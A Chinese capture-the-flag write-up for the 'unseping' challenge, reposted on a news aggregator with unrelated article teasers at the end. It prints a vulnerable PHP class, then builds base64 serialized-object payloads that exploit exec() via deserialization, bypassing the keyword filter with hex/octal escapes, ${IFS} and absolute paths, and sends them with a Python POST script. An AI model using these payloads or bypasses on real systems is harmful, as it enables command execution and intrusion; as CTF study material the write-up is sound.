3.攻防世界 unseping(反序列化与魔术方法)

news/2025/2/11 16:34:33/

进入题目页面如下

给出源码,开始代码审计

php"><?php
// 高亮显示当前 PHP 文件的源代码,方便调试和查看代码结构
highlight_file(__FILE__);// 定义一个名为 ease 的类
class ease {// 定义私有属性 $method,用于存储要调用的方法名private $method;// 定义私有属性 $args,用于存储调用方法时传递的参数private $args;// 构造函数,在创建类的实例时自动调用function __construct($method, $args) {// 将传入的方法名赋值给 $this->method$this->method = $method;// 将传入的参数赋值给 $this->args$this->args = $args;}// 析构函数,在对象被销毁时自动调用function __destruct() {// 检查 $this->method 是否在数组 ["ping"] 中if (in_array($this->method, array("ping"))) {// 如果 $this->method 是 "ping",则使用 call_user_func_array 函数调用对象的 $this->method 方法,并传递 $this->args 作为参数call_user_func_array(array($this, $this->method), $this->args);}}// 定义 ping 方法,用于执行系统命令function ping($ip) {// 使用 exec 函数执行 $ip 对应的系统命令,并将执行结果存储在 $result 数组中exec($ip, $result);// 使用 var_dump 函数输出 $result 数组的内容var_dump($result);}// 定义 waf 方法,用于对输入字符串进行过滤function waf($str) {// 使用 preg_match_all 函数检查 $str 中是否包含特定的字符或关键词(如 |、&、;、空格、cat、flag、tac、php、ls 等)if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {// 如果不包含,则返回原始字符串return $str;} else {// 如果包含,则输出 "don't hack"echo "don't hack";}}// 魔术方法 __wakeup,在对象被反序列化时自动调用function __wakeup() {// 遍历 $this->args 数组中的每个元素foreach ($this->args as $k => $v) {// 对每个元素调用 waf 方法进行过滤,并将过滤后的结果重新赋值给 $this->args 数组$this->args[$k] = $this->waf($v);}}
}// 从 POST 请求中获取名为 ctf 的参数值,并赋值给 $ctf 变量
$ctf = @$_POST['ctf'];
// 对 $ctf 进行 base64 解码,然后进行反序列化操作
@unserialize(base64_decode($ctf));

代码中接收用户通过 POST 请求传递的 ctf 参数,对其进行 base64 解码后进行反序列化操作。如果能够构造恶意的序列化字符串,就可以触发对象的魔术方法(如 __destruct 和 __wakeup),从而执行任意代码

ping 方法使用 exec 函数执行用户传入的命令,而 exec 函数执行的命令是由用户可控的 $ip 参数决定的。如果攻击者能够绕过 waf 方法的过滤,就可以执行任意系统命令。

waf 方法对输入字符串进行了正则表达式过滤,禁止使用一些常见的危险字符和关键词

 |&;、空格、catflagtacphpls 等

可以尝试使用其他方式绕过。

1. 绕过过滤机制
由于 waf 方法过滤了一些常见的命令和字符,我们可以使用一些绕过技巧,例如:

使用命令的十六进制编码:cat 可以用 \x63\x61\x74 表示。

使用反引号或 进行命令替换:例如,(echo -e '\x63\x61\x74')` 。

2. 构造恶意序列化字符串

php"><?php
class ease {private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}
}// 构造要执行的命令
$cmd = "$(echo -e '\x63\x61\x74') f\x6c\x61g.php";
// 创建 ease 类的实例
$obj = new ease("ping", array($cmd));
// 序列化对象
$serialized = serialize($obj);
// 进行 base64 编码
$encoded = base64_encode($serialized);
echo $encoded;
?>

可以用下面这个在线工具运行PHP代码

php在线运行,在线工具,在线编译IDE_w3cschool

得到结果

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo2OiJ3aG9hbWkiO319

利用POST传参

虽然执行了但是还需要绕过
空环境变量绕过
应用程序会对用户输入进行过滤,阻止恶意命令的执行。部分系统在处理命令执行时会依赖环境变量,通过利用空环境变量可以绕过某些过滤规则,达到执行恶意命令的目的。

系统在执行命令时会查找环境变量中的命令路径。当过滤规则仅对输入的明文命令进行检查时,使用空环境变量结合命令执行函数,能够让过滤规则失效,从而成功执行被过滤的命令。

利用空环境变量构造命令
在 Linux 系统中,PATH 环境变量指定了系统查找可执行文件的路径。我们可以设置一个空的 PATH 环境变量,然后通过相对路径或绝对路径来调用命令。

例如,cat 命令的绝对路径通常是 /bin/cat

 发送请求
将生成的 base64 编码字符串作为 ctf 参数,通过 POST 请求发送给目标

利用 IFS 环境变量
IFS(Internal Field Separator)是 Linux 系统中的一个环境变量,用于指定单词分割的字符。默认情况下,IFS 包含空格、制表符和换行符。我们可以修改 IFS 变量,使用其他字符作为分隔符,从而绕过对空格的过滤。

构造命令时可以使用 $IFS 来代替空格:

$cmd = "/bin/cat${IFS}f\x6c\x61g.php";

 发送 POST 请求
将上述代码生成的 base64 编码字符串作为 ctf 参数,通过 POST 请求发送给目标 PHP 脚本

import requestsurl = 'http://61.147.171.105:61601/'
# 替换为实际生成的 base64 编码字符串
ctf = '生成的 base64 编码字符串'
data = {'ctf': ctf}response = requests.post(url, data=data)
print(response.text)

通过以上步骤,可以绕过过滤机制,执行 cat flag.php 命令,从而获取 flag 的值。

payload:

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==

通过POST传参

查看flag_1s_here文件时,需要运用控环境变量对cat进行绕过,空格运用${ IFS}进行绕过

再次构造payload

ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319

最终得到flag


面向对象编程

类的定义与使用:使用 class 关键字定义了 ease 类,类是对象的蓝图,封装了数据(属性)和操作这些数据的方法。ease 类包含了私有属性 $method$args,以及多个方法。

构造函数__construct() 是 PHP 中的构造函数,当创建类的实例时会自动调用。它接收参数并初始化对象的属性,如 $this->method = $method;$this->args = $args; 用于初始化对象的 $method$args 属性。

析构函数__destruct() 是析构函数,在对象被销毁时自动调用。在本题中,它检查 $this->method 是否为 "ping",如果是则使用 call_user_func_array() 调用相应的方法。

成员方法:类中定义了 ping()waf() 等成员方法,用于实现不同的功能。ping() 方法用于执行系统命令,waf() 方法用于对输入字符串进行过滤。

私有属性private 访问修饰符用于声明私有属性,私有属性只能在类的内部访问,外部无法直接访问,增强了数据的封装性和安全性。


反序列化与魔术方法

反序列化@unserialize(base64_decode($ctf)); 这行代码先对 $ctf 进行 Base64 解码,然后进行反序列化操作。反序列化是将序列化后的字符串转换回对象的过程。

魔术方法__wakeup():在对象被反序列化时自动调用,本题中用于对 $this->args 数组中的每个元素调用 waf() 方法进行过滤,防止恶意输入。

除了 __wakeup(),代码还涉及到 __construct()__destruct() 这两个魔术方法,它们分别在对象创建和销毁时自动执行。

 


http://www.ppmy.cn/news/1571196.html

相关文章

20240824 美团 笔试

文章目录 1、单选题1.11.21.31.41.51.61.71.81.91.101.111.121.131.141.151.161.171.181.191.202、编程题2.12.2岗位:硬件开发工程师(嵌入式系统软件开发方向) 题型:20 道单选题,2 道编程题题 1、单选题 1.1 C 语言中,如果输入整数 v 是 2 的幂,下面表达式中哪个会返…

Day86:游戏开发

游戏开发是一项综合性强、技术多样的工作。它不仅涉及编程,还包括图形设计、用户体验(UX)设计、音效制作等多个方面。在本节中,我们将了解游戏开发的基础知识,学习如何使用 Python 开发简单的 2D 游戏,并使用库如 Pygame 来加速开发过程。 1. 游戏开发简介 游戏开发是创…

SIPp的参数及命令示例

以下是SIPp参数的分类表格整理&#xff0c;方便快速查阅和使用&#xff1a; SIPp 参数分类表格 分类参数描述默认值示例基本参数-sc指定XML场景文件&#xff08;客户端模式&#xff09;无-sc uac.xml-sd指定XML场景文件&#xff08;服务器端模式&#xff09;无-sd uas.xml-i本…

安卓使用JExcelApi读取Excel文件

要在安卓应用中使用JExcelApi读取Excel文件&#xff0c;你需要先确保你的项目中已经添加了JExcelApi的依赖。由于安卓项目的构建方式多样&#xff0c;这里以使用Gradle为例来介绍如何在安卓应用中集成和使用JExcelAPI。 ### 步骤1: 添加依赖 首先&#xff0c;在你的build.gra…

算法设计-二分查找(C++)

一、简述 二分查找是一种在有序数组中查找特定元素的高效算法&#xff0c;其时间复杂度为 O(log n)。 二、详细代码 #include<iostream> #include<cmath> using namespace std;int BinarySearch(int arr[], int x, int size ) {int l 0;int r size-1;int m 0…

DeepSeek 关联 Word 使用教程:解锁办公新效率

在当今数字化办公时代&#xff0c;将强大的人工智能模型与常用办公软件相结合&#xff0c;能显著提升工作效率。DeepSeek 作为一款先进的人工智能工具&#xff0c;若能与广泛使用的办公软件 Word 实现关联&#xff0c;可在文档撰写、编辑、内容优化等诸多方面为用户带来极大便利…

NIO三大组件

文章目录 概述Channel & BufferSelector服务器设计历史演化多线程版设计线程池版设计selector 版设计 概述 NIO的意思是 non-blocking io 非阻塞 IO 。NIO中存在3大组件&#xff1a;Channel 、 Buffer 、Selector Channel & Buffer channel &#xff08;中文 管道的…

jmeter 性能测试Linux 常用的安装

把软件安装包全部都放在/data/soft目录下 一、 Java 环境安装 1. 把JDK的安装包上传到/data/soft/目录下 2. 解压jdk安装包,重命名jdk 3. 配置环境变量 JAVA_HOME [root@MiWiFi-RA72-srv soft]# vim /etc/profile export JAVA_HOME=/data/soft/jdk1.8 export PATH=…